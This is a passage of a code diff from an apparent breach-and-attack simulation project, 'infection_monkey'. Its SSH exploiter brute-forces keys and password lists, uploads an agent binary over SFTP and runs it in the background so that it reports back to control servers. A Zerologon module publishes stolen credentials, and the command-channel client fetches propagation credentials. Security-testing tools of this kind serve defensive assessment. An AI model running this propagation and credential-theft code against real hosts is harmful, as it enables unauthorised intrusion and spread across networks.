except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key")
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -105,30 +86,20 @@ class SSHExploiter(HostExploiter):
)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except paramiko.AuthenticationException as err:
ssh.close()
error_message = (
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
logger.info(
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
)
logger.info(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
except Exception as err:
error_message = (
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
raise FailedExploitationError
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
@ -145,8 +116,6 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -162,79 +131,108 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password)
return ssh
except paramiko.AuthenticationException as err:
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
logger.debug(
"Failed logging into victim %r with user" " %s: (%s)",
self.host,
user,
err,
)
self.report_login_attempt(False, user, current_password)
ssh.close()
continue
except Exception as err:
error_message = (
f"Unexpected error while attempting to login to {self.host} with password: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
raise FailedExploitationError
def _exploit_host(self) -> ExploiterResultData:
port = self._get_ssh_port()
port = SSH_PORT
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self._exploit(port)
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
self._propagate(ssh)
except (FailedExploitationError, RuntimeError) as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
finally:
ssh.close()
return self.exploit_result
def _exploit(self, port: int) -> paramiko.SSHClient:
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
return ssh
def _propagate(self, ssh: paramiko.SSHClient):
agent_binary_file_object = self._get_agent_binary(ssh)
if agent_binary_file_object is None:
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
raise RuntimeError("Propagation was interrupted")
return self.exploit_result
if not self.host.os.get("type"):
try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = OperatingSystem.LINUX
self.host.os["type"] = OperatingSystem.LINUX
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
if not uname_os:
logger.error(self.exploit_result.error_message)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running uname os command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os
)
if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host)
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
try:
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
status = ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
self.telemetry_messenger.send_telemetry(
T1105Telem(
@ -244,15 +242,13 @@ class SSHExploiter(HostExploiter):
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
raise FailedExploitationError(self.exploit_result.error_message)
return self.exploit_result
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
@ -263,87 +259,18 @@ class SSHExploiter(HostExploiter):
)
self.exploit_result.propagation_success = True
self._publish_propagation_event(timestamp, True)
ssh.close()
self.add_executed_cmd(cmdline)
return self.exploit_result
except Exception as exc:
error_message = f"Error running monkey on victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
raise FailedExploitationError(error_message)
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
)
return is_open
def _get_ssh_port(self) -> int:
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
return port
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = OperatingSystem.LINUX
self.host.os["type"] = OperatingSystem.LINUX
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
if not uname_os:
logger.error(self.exploit_result.error_message)
return False
except Exception as exc:
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
return False
return True
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
if not self.host.os.get("type") and not self._get_victim_os(ssh):
return None
try:
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)
except RetrievalError:
return None
return agent_binary_file_object
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try:
timestamp = time()
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
return ScanStatus.USED
except Exception as exc:
error_message = f"Error uploading file into victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message
return ScanStatus.SCANNED
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath

View File

@ -3,7 +3,6 @@ import urllib.error
import urllib.parse
import urllib.request
from threading import Lock
from typing import Optional, Tuple
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
@ -29,7 +28,7 @@ class HTTPTools(object):
@staticmethod
def create_locked_transfer(
host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
) -> LockedHTTPServer:
"""
Create http server for file transfer with a lock
:param host: Variable with target's information

View File

@ -18,7 +18,6 @@ from impacket.dcerpc.v5.dtypes import NULL
from common.agent_events import CredentialsStolenEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import Credentials, LMHash, NTHash, Username
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
@ -33,6 +32,9 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
ZEROLOGON_EXPLOITER_TAG = "zerologon-exploiter"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
ZEROLOGON_EVENT_TAGS = frozenset(
{
@ -313,7 +315,7 @@ class ZerologonExploiter(HostExploiter):
tags=ZEROLOGON_EVENT_TAGS,
stolen_credentials=extracted_credentials,
)
self.agent_event_queue.publish(credentials_stolen_event)
self.event_queue.publish(credentials_stolen_event)
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> Optional[str]:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
@ -381,7 +383,7 @@ class ZerologonExploiter(HostExploiter):
return True
except Exception as e:
logger.info(f"Exception occurred: {str(e)}")
logger.info(f"Exception occured: {str(e)}")
finally:
info = output_captor.get_captured_stdout_output()

View File

@ -1,11 +1,23 @@
import abc
from typing import Sequence
from typing import Optional, Sequence
from uuid import UUID
from common.agent_configuration import AgentConfiguration
from common.credentials import Credentials
class IControlChannel(metaclass=abc.ABCMeta):
@abc.abstractmethod
def register_agent(self, parent_id: Optional[UUID] = None):
"""
Registers this agent with the Island when this agent starts
:param parent: The ID of the parent that spawned this agent, or None if this agent has no
parent
:raises IslandCommunicationError: If the agent cannot be successfully registered
"""
pass
@abc.abstractmethod
def should_agent_stop(self) -> bool:
"""

View File

@ -2,8 +2,10 @@ from .plugin_type import PluginType
from .i_puppet import (
IPuppet,
ExploiterResultData,
PingScanData,
PortScanData,
FingerprintData,
PortStatus,
PostBreachData,
UnknownPluginError,
)

View File

@ -1,9 +1,7 @@
from abc import abstractmethod
from typing import Dict
from common.types import PingScanData
from . import FingerprintData, PortScanData
from . import FingerprintData, PingScanData, PortScanData
class IFingerprinter:

View File

@ -1,16 +1,21 @@
import abc
import threading
from collections import namedtuple
from dataclasses import dataclass
from typing import Dict, Iterable, Mapping, Optional, Sequence
from dataclasses import dataclass, field
from enum import Enum
from typing import Dict, Iterable, List, Mapping, Optional, Sequence, Tuple
from common import OperatingSystem
from common.credentials import Credentials
from common.types import PingScanData
from infection_monkey.model import VictimHost
from . import PluginType
class PortStatus(Enum):
OPEN = 1
CLOSED = 2
class UnknownPluginError(Exception):
pass
@ -21,14 +26,37 @@ class ExploiterResultData:
propagation_success: bool = False
interrupted: bool = False
os: str = ""
info: Optional[Mapping] = None
attempts: Optional[Iterable] = None
info: Mapping = field(default_factory=lambda: {})
attempts: Iterable = field(default_factory=lambda: [])
error_message: str = ""
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"])
@dataclass(frozen=True)
class FingerprintData:
os_type: Optional[OperatingSystem]
os_version: str
services: Mapping = field(default_factory=lambda: {})
@dataclass(frozen=True)
class PingScanData:
response_received: bool
os: Optional[OperatingSystem]
@dataclass(frozen=True)
class PortScanData:
port: int
status: PortStatus
banner: str
service: str
@dataclass(frozen=True)
class PostBreachData:
display_name: str
command: str
result: Tuple[str, bool]
class IPuppet(metaclass=abc.ABCMeta):
@ -77,8 +105,8 @@ class IPuppet(metaclass=abc.ABCMeta):
@abc.abstractmethod
def scan_tcp_ports(
self, host: str, ports: Sequence[int], timeout: float = 3
) -> Dict[int, PortScanData]:
self, host: str, ports: List[int], timeout: float = 3
) -> Mapping[int, PortScanData]:
"""
Scans a list of TCP ports on a remote host
@ -86,7 +114,7 @@ class IPuppet(metaclass=abc.ABCMeta):
:param int ports: List of TCP port numbers to scan
:param float timeout: The maximum amount of time (in seconds) to wait for a response
:return: The data collected by scanning the provided host:ports combination
:rtype: Dict[int, PortScanData]
:rtype: Mapping[int, PortScanData]
"""
@abc.abstractmethod
@ -129,7 +157,6 @@ class IPuppet(metaclass=abc.ABCMeta):
:param str name: The name of the exploiter to run
:param VictimHost host: A VictimHost object representing the target to exploit
:param int current_depth: The current propagation depth
:param servers: List of socket addresses for victim to connect back to
:param Dict options: A dictionary containing options that modify the behavior of the
exploiter
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop

View File

@ -1,22 +1,13 @@
import functools
import json
import logging
from pprint import pformat
from typing import List, Sequence
import requests
from common import AgentRegistrationData, AgentSignals, OperatingSystem
from common.agent_configuration import AgentConfiguration
from common.agent_event_serializers import AgentEventSerializerRegistry
from common import OperatingSystem
from common.agent_event_serializers import AgentEventSerializerRegistry, JSONSerializable
from common.agent_events import AbstractAgentEvent
from common.common_consts.timeouts import (
LONG_REQUEST_TIMEOUT,
MEDIUM_REQUEST_TIMEOUT,
SHORT_REQUEST_TIMEOUT,
)
from common.credentials import Credentials
from common.types import AgentID, JSONSerializable, SocketAddress
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from . import (
AbstractIslandAPIClientFactory,
@ -36,9 +27,7 @@ def handle_island_errors(fn):
def decorated(*args, **kwargs):
try:
return fn(*args, **kwargs)
except IslandAPIError as err:
raise err
except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as err:
except requests.exceptions.ConnectionError as err:
raise IslandAPIConnectionError(err)
except requests.exceptions.HTTPError as err:
if 400 <= err.response.status_code < 500:
@ -49,23 +38,14 @@ def handle_island_errors(fn):
raise IslandAPIError(err)
except TimeoutError as err:
raise IslandAPITimeoutError(err)
except IslandAPIError as err:
raise err
except Exception as err:
raise IslandAPIError(err)
return decorated
def convert_json_error_to_island_api_error(fn):
@functools.wraps(fn)
def wrapper(*args, **kwargs):
try:
return fn(*args, **kwargs)
except (requests.JSONDecodeError, json.JSONDecodeError) as err:
raise IslandAPIRequestFailedError(err)
return wrapper
class HTTPIslandAPIClient(IIslandAPIClient):
"""
A client for the Island's HTTP API
@ -80,7 +60,7 @@ class HTTPIslandAPIClient(IIslandAPIClient):
@handle_island_errors
def connect(
self,
island_server: SocketAddress,
island_server: str,
):
response = requests.get( # noqa: DUO123
f"https://{island_server}/api?action=is-up",
@ -89,12 +69,13 @@ class HTTPIslandAPIClient(IIslandAPIClient):
)
response.raise_for_status()
self._api_url = f"https://{island_server}/api"
self._island_server = island_server
self._api_url = f"https://{self._island_server}/api"
@handle_island_errors
def send_log(self, agent_id: AgentID, log_contents: str):
response = requests.put( # noqa: DUO123
f"{self._api_url}/agent-logs/{agent_id}",
def send_log(self, log_contents: str):
response = requests.post( # noqa: DUO123
f"{self._api_url}/log",
json=log_contents,
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
@ -135,45 +116,6 @@ class HTTPIslandAPIClient(IIslandAPIClient):
response.raise_for_status()
@handle_island_errors
def register_agent(self, agent_registration_data: AgentRegistrationData):
url = f"{self._api_url}/agents"
response = requests.post( # noqa: DUO123
url,
json=agent_registration_data.dict(simplify=True),
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
@handle_island_errors
@convert_json_error_to_island_api_error
def get_config(self) -> AgentConfiguration:
response = requests.get( # noqa: DUO123
f"{self._api_url}/agent-configuration",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
config_dict = response.json()
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
return AgentConfiguration(**config_dict)
@handle_island_errors
@convert_json_error_to_island_api_error
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
response = requests.get( # noqa: DUO123
f"{self._api_url}/propagation-credentials",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return [Credentials(**credentials) for credentials in response.json()]
def _serialize_events(self, events: Sequence[AbstractAgentEvent]) -> JSONSerializable:
serialized_events: List[JSONSerializable] = []
@ -186,18 +128,6 @@ class HTTPIslandAPIClient(IIslandAPIClient):
return serialized_events
@handle_island_errors
@convert_json_error_to_island_api_error
def get_agent_signals(self, agent_id: str) -> AgentSignals:
url = f"{self._api_url}/agent-signals/{agent_id}"
response = requests.get( # noqa: DUO123
url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return AgentSignals(**response.json())
class HTTPIslandAPIClientFactory(AbstractIslandAPIClientFactory):
def __init__(

View File

@ -1,11 +1,8 @@
from abc import ABC, abstractmethod
from typing import Sequence
from common import AgentRegistrationData, AgentSignals, OperatingSystem
from common.agent_configuration import AgentConfiguration
from common import OperatingSystem
from common.agent_events import AbstractAgentEvent
from common.credentials import Credentials
from common.types import AgentID, SocketAddress
class IIslandAPIClient(ABC):
@ -14,9 +11,9 @@ class IIslandAPIClient(ABC):
"""
@abstractmethod
def connect(self, island_server: SocketAddress):
def connect(self, island_server: str):
"""
Connect to the island's API
Connectto the island's API
:param island_server: The socket address of the API
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
@ -30,11 +27,10 @@ class IIslandAPIClient(ABC):
"""
@abstractmethod
def send_log(self, agent_id: AgentID, log_contents: str):
def send_log(self, log_contents: str):
"""
Send the contents of the agent's log to the island
:param agent_id: The ID of the agent whose logs are being sent
:param log_contents: The contents of the agent's log
:raises IslandAPIConnectionError: If the client cannot successfully connect to the island
:raises IslandAPIRequestError: If an error occurs while attempting to connect to the
@ -95,53 +91,3 @@ class IIslandAPIClient(ABC):
:raises IslandAPIError: If an unexpected error occurs while attempting to send events to
the island
"""
@abstractmethod
def register_agent(self, agent_registration_data: AgentRegistrationData):
"""
Register an agent with the Island
:param agent_registration_data: Information about the agent to register
with the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
"""
@abstractmethod
def get_config(self) -> AgentConfiguration:
"""
Get agent configuration from the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: Agent configuration
"""
@abstractmethod
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
"""
Get credentials from the island
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: Credentials
"""
@abstractmethod
def get_agent_signals(self, agent_id: str) -> AgentSignals:
"""
Gets an agent's signals from the island
:param agent_id: ID of the agent whose signals should be retrieved
:raises IslandAPIConnectionError: If the client could not connect to the island
:raises IslandAPIRequestError: If there was a problem with the client request
:raises IslandAPIRequestFailedError: If the server experienced an error
:raises IslandAPITimeoutError: If the command timed out
:return: The relevant agent's signals
"""

View File

@ -1,48 +1,127 @@
import json
import logging
from functools import wraps
from typing import Sequence
from pprint import pformat
from typing import Optional, Sequence
from uuid import UUID
import requests
from urllib3 import disable_warnings
from common import AgentRegistrationData
from common.agent_configuration import AgentConfiguration
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
from common.credentials import Credentials
from common.network.network_utils import get_network_interfaces
from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError
from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError
from infection_monkey.utils import agent_process
from infection_monkey.utils.ids import get_agent_id, get_machine_id
disable_warnings() # noqa: DUO131
logger = logging.getLogger(__name__)
def handle_island_api_errors(func):
@wraps(func)
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except IslandAPIError as err:
raise IslandCommunicationError(err)
return wrapper
class ControlChannel(IControlChannel):
def __init__(self, server: str, agent_id: str, api_client: IIslandAPIClient):
def __init__(self, server: str, agent_id: str):
self._agent_id = agent_id
self._control_channel_server = server
self._island_api_client = api_client
@handle_island_api_errors
def register_agent(self, parent: Optional[UUID] = None):
agent_registration_data = AgentRegistrationData(
id=get_agent_id(),
machine_hardware_id=get_machine_id(),
start_time=agent_process.get_start_time(),
# parent_id=parent,
parent_id=None, # None for now, until we change GUID to UUID
cc_server=self._control_channel_server,
network_interfaces=get_network_interfaces(),
)
try:
url = f"https://{self._control_channel_server}/api/agents"
response = requests.post( # noqa: DUO123
url,
json=agent_registration_data.dict(simplify=True),
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
except (
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
def should_agent_stop(self) -> bool:
if not self._control_channel_server:
logger.error("Agent should stop because it can't connect to the C&C server.")
return True
agent_signals = self._island_api_client.get_agent_signals(self._agent_id)
return agent_signals.terminate is not None
try:
url = (
f"https://{self._control_channel_server}/api/monkey-control"
f"/needs-to-stop/{self._agent_id}"
)
response = requests.get( # noqa: DUO123
url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
json_response = json.loads(response.content.decode())
return json_response["stop_agent"]
except (
json.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
@handle_island_api_errors
def get_config(self) -> AgentConfiguration:
return self._island_api_client.get_config()
try:
response = requests.get( # noqa: DUO123
f"https://{self._control_channel_server}/api/agent-configuration",
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
config_dict = json.loads(response.text)
logger.debug(f"Received configuration:\n{pformat(config_dict)}")
return AgentConfiguration(**config_dict)
except (
json.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)
@handle_island_api_errors
def get_credentials_for_propagation(self) -> Sequence[Credentials]:
return self._island_api_client.get_credentials_for_propagation()
propagation_credentials_url = (
f"https://{self._control_channel_server}/api/propagation-credentials"
)
try:
response = requests.get( # noqa: DUO123
propagation_credentials_url,
verify=False,
timeout=SHORT_REQUEST_TIMEOUT,
)
response.raise_for_status()
return [Credentials(**credentials) for credentials in response.json()]
except (
requests.exceptions.JSONDecodeError,
requests.exceptions.ConnectionError,
requests.exceptions.Timeout,
requests.exceptions.TooManyRedirects,
requests.exceptions.HTTPError,
) as e:
raise IslandCommunicationError(e)

View File

@ -1,14 +1,14 @@
from dataclasses import dataclass
from typing import Dict
from common.types import NetworkPort, PingScanData
from infection_monkey.i_puppet import FingerprintData, PortScanData
from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData
Port = int
FingerprinterName = str
@dataclass
class IPScanResults:
ping_scan_data: PingScanData
port_scan_data: Dict[NetworkPort, PortScanData]
port_scan_data: Dict[Port, PortScanData]
fingerprint_data: Dict[FingerprinterName, FingerprintData]

View File

@ -8,9 +8,15 @@ from typing import Callable, Dict, Sequence
from common.agent_configuration.agent_sub_configurations import (
NetworkScanConfiguration,
PluginConfiguration,
ScanTargetConfiguration,
)
from infection_monkey.i_puppet import (
FingerprintData,
IPuppet,
PingScanData,
PortScanData,
PortStatus,
)
from common.types import PingScanData, PortStatus
from infection_monkey.i_puppet import FingerprintData, IPuppet, PortScanData
from infection_monkey.network import NetworkAddress
from infection_monkey.utils.threading import interruptible_iter, run_worker_threads
@ -29,7 +35,7 @@ class IPScanner:
def scan(
self,
addresses_to_scan: Sequence[NetworkAddress],
options: NetworkScanConfiguration,
options: ScanTargetConfiguration,
results_callback: Callback,
stop: Event,
):

View File

@ -2,7 +2,7 @@ import logging
from ipaddress import IPv4Interface
from queue import Queue
from threading import Event
from typing import List, Mapping, Sequence
from typing import List, Sequence
from common.agent_configuration import (
ExploitationConfiguration,
@ -10,8 +10,13 @@ from common.agent_configuration import (
PropagationConfiguration,
ScanTargetConfiguration,
)
from common.types import NetworkPort, PingScanData, PortStatus
from infection_monkey.i_puppet import ExploiterResultData, FingerprintData, PortScanData
from infection_monkey.i_puppet import (
ExploiterResultData,
FingerprintData,
PingScanData,
PortScanData,
PortStatus,
)
from infection_monkey.model import VictimHost, VictimHostFactory
from infection_monkey.network import NetworkAddress
from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list
@ -21,7 +26,6 @@ from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.utils.threading import create_daemon_thread
from . import Exploiter, IPScanner, IPScanResults
from .ip_scan_results import FingerprinterName
logger = logging.getLogger()
@ -116,14 +120,14 @@ class Propagator:
ranges_to_scan = target_config.subnets
inaccessible_subnets = target_config.inaccessible_subnets
blocklisted_ips = target_config.blocked_ips
scan_my_networks = target_config.scan_my_networks
enable_local_network_scan = target_config.local_network_scan
return compile_scan_target_list(
self._local_network_interfaces,
ranges_to_scan,
inaccessible_subnets,
blocklisted_ips,
scan_my_networks,
enable_local_network_scan,
)
def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults):
@ -145,12 +149,8 @@ class Propagator:
victim_host.os["type"] = ping_scan_data.os
@staticmethod
def _process_tcp_scan_results(
victim_host: VictimHost, port_scan_data: Mapping[NetworkPort, PortScanData]
):
for psd in filter(
lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values()
):
def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData):
for psd in filter(lambda psd: psd.status == PortStatus.OPEN, port_scan_data.values()):
victim_host.services[psd.service] = {}
victim_host.services[psd.service]["display_name"] = "unknown(TCP)"
victim_host.services[psd.service]["port"] = psd.port
@ -158,9 +158,7 @@ class Propagator:
victim_host.services[psd.service]["banner"] = psd.banner
@staticmethod
def _process_fingerprinter_results(
victim_host: VictimHost, fingerprint_data: Mapping[FingerprinterName, FingerprintData]
):
def _process_fingerprinter_results(victim_host: VictimHost, fingerprint_data: FingerprintData):
for fd in fingerprint_data.values():
# TODO: This logic preserves the existing behavior prior to introducing IMaster and
# IPuppet, but it is possibly flawed. Different fingerprinters may detect

View File

@ -10,7 +10,7 @@ class VictimHost(object):
self.os: Dict[str, Any] = {}
self.services: Dict[str, Any] = {}
self.icmp = False
self.default_server = None
self.default_server = ""
def as_dict(self):
return self.__dict__

View File

@ -3,9 +3,9 @@ import logging
import os
import subprocess
import sys
from ipaddress import IPv4Interface
from ipaddress import IPv4Address, IPv4Interface
from pathlib import Path, WindowsPath
from typing import List, Optional, Sequence, Tuple
from typing import List, Mapping, Optional, Tuple
from pubsub.core import Publisher
@ -13,19 +13,17 @@ from common.agent_event_serializers import (
AgentEventSerializerRegistry,
register_common_agent_event_serializers,
)
from common.agent_events import CredentialsStolenEvent, PropagationEvent
from common.agent_registration_data import AgentRegistrationData
from common.agent_events import CredentialsStolenEvent
from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue
from common.network.network_utils import get_my_ip_addresses, get_network_interfaces
from common.types import SocketAddress
from common.network.network_utils import (
address_to_ip_port,
get_my_ip_addresses,
get_network_interfaces,
)
from common.utils.argparse_types import positive_int
from common.utils.attack_utils import ScanStatus, UsageEnum
from common.version import get_version
from infection_monkey.agent_event_handlers import (
AgentEventForwarder,
add_stolen_credentials_to_propagation_credentials_repository,
notify_relay_on_propagation,
)
from infection_monkey.agent_event_forwarder import AgentEventForwarder
from infection_monkey.config import GUID
from infection_monkey.control import ControlClient
from infection_monkey.credential_collectors import (
@ -35,6 +33,7 @@ from infection_monkey.credential_collectors import (
from infection_monkey.credential_repository import (
AggregatingPropagationCredentialsRepository,
IPropagationCredentialsRepository,
add_credentials_from_event_to_propagation_credentials_repository,
)
from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper
from infection_monkey.exploit.hadoop import HadoopExploiter
@ -54,7 +53,6 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.relay import TCPRelay
from infection_monkey.network.relay.utils import (
IslandAPISearchResults,
find_available_island_apis,
notify_disconnect,
send_remove_from_waitlist_control_message_to_relays,
@ -83,15 +81,16 @@ from infection_monkey.puppet.puppet import Puppet
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
ExploitInterceptingTelemetryMessenger,
)
